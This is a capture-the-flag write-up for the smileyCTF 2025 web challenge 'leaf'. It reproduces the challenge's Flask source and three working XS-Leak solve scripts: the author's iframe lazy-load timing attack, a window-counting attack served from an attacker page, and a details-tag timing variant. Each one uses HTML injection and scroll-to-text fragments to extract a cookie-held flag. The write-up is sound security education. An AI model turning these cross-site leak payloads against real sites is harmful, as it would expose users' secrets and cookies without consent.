Post

smileyCTF 2025

leaf - chara

The source code of the challenge is kinda short, so I will just paste it here:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
from flask import Flask, request, make_response, render_template_string, redirect
import os, base64, sys

from selenium import webdriver
from selenium.webdriver.chrome.options import Options
import time
app = Flask(__name__)

PORT = 8800

# flag start with d0nt, charset is string.ascii_letters +  string.digits + '{}_.-'
flag = open('flag.txt').read().strip()
print(flag.replace(".;,;.{", "").replace("}", ""))

template = """<!DOCTYPE html>
<html>
<head>
    <meta charset="UTF-8">
    <title>Pure Leaf</title>
    <style nonce="">
        body {
            background-color: #21d375;
            font-size: 100px;
            color: #fff;

            height: 100vh;
            margin: 0;

            text-align: center;
            justify-content: center;
            align-items: center;            
        }
    </style>
</head>
<body>
    <div class="head"></div>
    
    
        <div class="leaf">I love leaves</div>
    

    <script nonce="">
        Array.from(document.getElementsByClassName('leaf')).forEach(function(element) {
            let text = element.innerText;
            element.innerHTML = '';
            // our newest technology prevents you from copying the text
            // so we have to create a new element for each character
            // and append it to the element
            // this is a very bad idea, but it works
            // and we are not using innerHTML, so we are safe from XSS
            for (let i = 0; i < text.length; i++) {
                let charElem = document.createElement('span');
                charElem.innerText = text[i];
                element.appendChild(charElem);
            }
        });
    </script>
</body>
</html>
"""

@app.route('/', methods=['GET'])
def index():
    nonce = base64.b64encode(os.urandom(32)).decode('utf-8')

    flag_cookie = request.cookies.get('flag', None)

    leaves = request.args.get('leaf', 'Leaf')
    
    rendered = render_template_string(
        template,
        nonce=nonce,
        flag=flag_cookie,
        leaves=leaves,
    )
    
    response = make_response(rendered)

    response.headers['Content-Security-Policy'] = (
        f"default-src 'none'; script-src 'nonce-{nonce}'; style-src 'nonce-{nonce}'; "
        "base-uri 'none'; frame-ancestors 'none';"
    )
    response.headers['Referrer-Policy'] = 'no-referrer'
    response.headers['X-Content-Type-Options'] = 'nosniff'
    
    return response


@app.route('/bot', methods=['GET'])
def bot():
    data = request.args.get('leaf', '🍃').encode('utf-8')
    data = base64.b64decode(data).decode('utf-8')
    url = f"http://127.0.0.1:8800/?leaf={data}"
    
    print('[+] Visiting ' + url, file=sys.stderr)
    
    options = Options()
    options.add_argument("--headless")
    options.add_argument("--no-sandbox")
    driver = webdriver.Chrome(options=options)
    driver.get(f'http://127.0.0.1:8800/void')
    driver.add_cookie({
        'name': 'flag',
        'value': flag.replace(".;,;.{", "").replace("}", ""),
        'path': '/',
    })
    
    print('[-] Visiting URL', url, file=sys.stderr)

    driver.get(url)
    driver.implicitly_wait(5)
    driver.quit()
    print('[-] Done visiting URL', url, file=sys.stderr)

    return redirect(f'http://127.0.0.1:8800/?leaf=Yayayayay I checked ur leaf its great', code=302)


if __name__ == '__main__':
    app.run(port=PORT, debug=False, host='0.0.0.0')

This challenge has a html injection vulnerability in the leaf parameter, which is reflected in the page. The leaf parameter is also used in the /bot endpoint, which is accessed by a Selenium bot that visits the page and sets a cookie with the flag.

Normally, we can just inject a img tag with onerror attribute to read the cookie and send it to our server. However, the challenge has a Content Security Policy (CSP) that prevents us from doing that. The CSP only allows scripts and styles with a nonce, which is generated on each request. So we can think about XSLeak to leak the flag cause the flag is reflected in the page.

Solution

My solution

My first thought was to use STTF to leak the flag, but I realized that I had no way to know if the flag is matched or not.

After some time, my team suggested to use iframe with lazy loading to slowdown the loading of the page. Imediately, I come up with the idea of using a bunch of iframes with lazy loading to leak the flag. The idea is to create a lot of iframes that is near the flag, and then with a bunch of br tags with the bruteforce string. So if the flag is matched, the iframe will load and the bot will be slowed down, if not the bot will not be slowed down and return quickly.

alt text

This is my solution:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
import requests
import time
import string
import base64
from urllib.parse import quote


charset = "abcdefghijklmnopqrstuvwxyz0123456789{}_.-" 

FLAG = ".;,;.{d0ntul0v3th1sf34tur3}"

URL = "https://web-leaf-kzvqa70p.smiley.cat/bot?leaf="

def solve():
    flag = "d0ntul0v3th1sf34tur3"
    for i in range(1, 100):
        for c in charset:
            leaf = flag + c
            payload = "</div>" + "<iframe loading=lazy src=/ width=1></iframe>"* 400 +"<br>" *60 + f"<div>{leaf}</div>#:~:text={leaf}"
            payload_base64 = quote(base64.b64encode((payload).encode()).decode())
            start = time.time()
            response = requests.get(URL + payload_base64)
            end = time.time()
            timing = end - start
            print(f"Trying character: {c}, timing: {timing:.2f} seconds")
            if timing > 7:
                flag += c
                print(f"Found character: {c}, current flag: {flag}")
                break
            # time.sleep(20)
        else:
            print("No more characters found.")
            break


if __name__ == "__main__":
    solve()

Other solution

strellic

He used window counting to leak the flag. The idea is still use STTF but instead of timing, he used the window counting

The page with STTF should have <details> tag that our target text is inside. If the target text is present, it will expand the details tag, so we can use <object> tag, when it is loaded, it will create a new window reference.

The payload would be something like this:

1
2
3
4
5
</div>
    <details>
        <div>${q}</div>
        <object data=/x><object data=about:blank></object></object>
    </details>

Window can be counted by a popup window with window.opener.length

For example, if the text is not matched

alt text

If the text is matched

alt text

This is his solution I will reference strellic’s writeup:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
from flask import Flask, request, make_response, render_template_string, redirect
import os, base64, sys


app = Flask(__name__)

PORT = 1888

@app.route('/exp', methods=['GET'])
def exp():
    return """
<!DOCTYPE html>
<html>
<body>
<script>
const TARGET = "http://localhost:8800";
const q = new URL(location.href).searchParams.get("q") || "d0nt";
const generateURL = (html) => {
    return `${TARGET}/?leaf=` + encodeURIComponent(html);
};

window.onload = async () => {
    const counter = window.open("/count", "", "width=400, height=400");
    // wait for popup
    while (counter) {
        try {
            counter.document.body;
            break;
        } catch {}
    }    
    const sttfPayload = `
        </div>
        <details>
            <div>${q}</div>
            <object data=/x><object data=about:blank></object></object>
        </details>
    `;
    const sameOriginSTTF = `
        <meta http-equiv="refresh" content="0; URL=${generateURL(sttfPayload)}#:~:text=${q}">
    `;
    
    window.location = generateURL(sameOriginSTTF);
};
</script>
</body>
</html>
"""

@app.route('/count', methods=['GET'])
def count():
    return """
<!DOCTYPE html>
<html>
<body>
<script>
    window.onload = () => {
        setTimeout(() => {
            document.write(window.opener.length === 0 ? "correct" : "wrong");
        }, 1000);
    }
</script>
</body>
</html>
"""

if __name__ == "__main__":
    app.run(host='0.0.0.0', port=PORT, debug=True)

rewhile

He used the same idea of using iframes with lazy loading with STTF but he also use <details> to do a timing attack. The idea is the same as mine, when the text is matched, the details tag wont be expanded, so the bot will not load the iframe and the request will return quickly. If the text is not matched, the details tag will be expanded and the bot will load the iframe, so the request will take longer to return.

Link to his POC:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
import requests
import time
import string
import base64
from urllib.parse import quote


charset = "klmnopqrstuvwxyz0123456789{}_.-abcdefghij" 

FLAG = ".;,;.{d0ntuL0v3th1s}"

URL = "http://127.0.0.1:8800/bot?leaf="
# URL = "https://web-leaf-kzvqa70p.smiley.cat/bot?leaf="

def solve():
    flag = "d0"
    for i in range(1, 100):
        for c in charset:
            leaf = flag + c
            payload = f"</div>" + "<details>" + f"<div>{leaf}</div>" + "<iframe loading=lazy src=/ width=1></iframe>" * 400 + f"</details>" + "<iframe src=/ width=1></iframe>" * 10 + f"#:~:text={leaf}"
            payload_base64 = quote(base64.b64encode((payload).encode()).decode())
            start = time.time()
            response = requests.get(URL + payload_base64)
            end = time.time()
            timing = end - start
            print(f"Trying character: {c}, timing: {timing:.2f} seconds")
            if timing < 5:
                flag += c
                print(f"Found character: {c}, current flag: {flag}")
                break
            # time.sleep(20)
        else:
            print("No more characters found.")
            break


if __name__ == "__main__":
    solve()

Flag: .;,;.{d0ntul0v3th1sf34tur3}

Thoughts

This challenge was really fun and challenging. I managed to first blood the challenge with my solution. I learned a lot about XSLeak. Thank you to my team for helping me with the challenge.

alt text

References

This post is licensed under CC BY 4.0 by the author.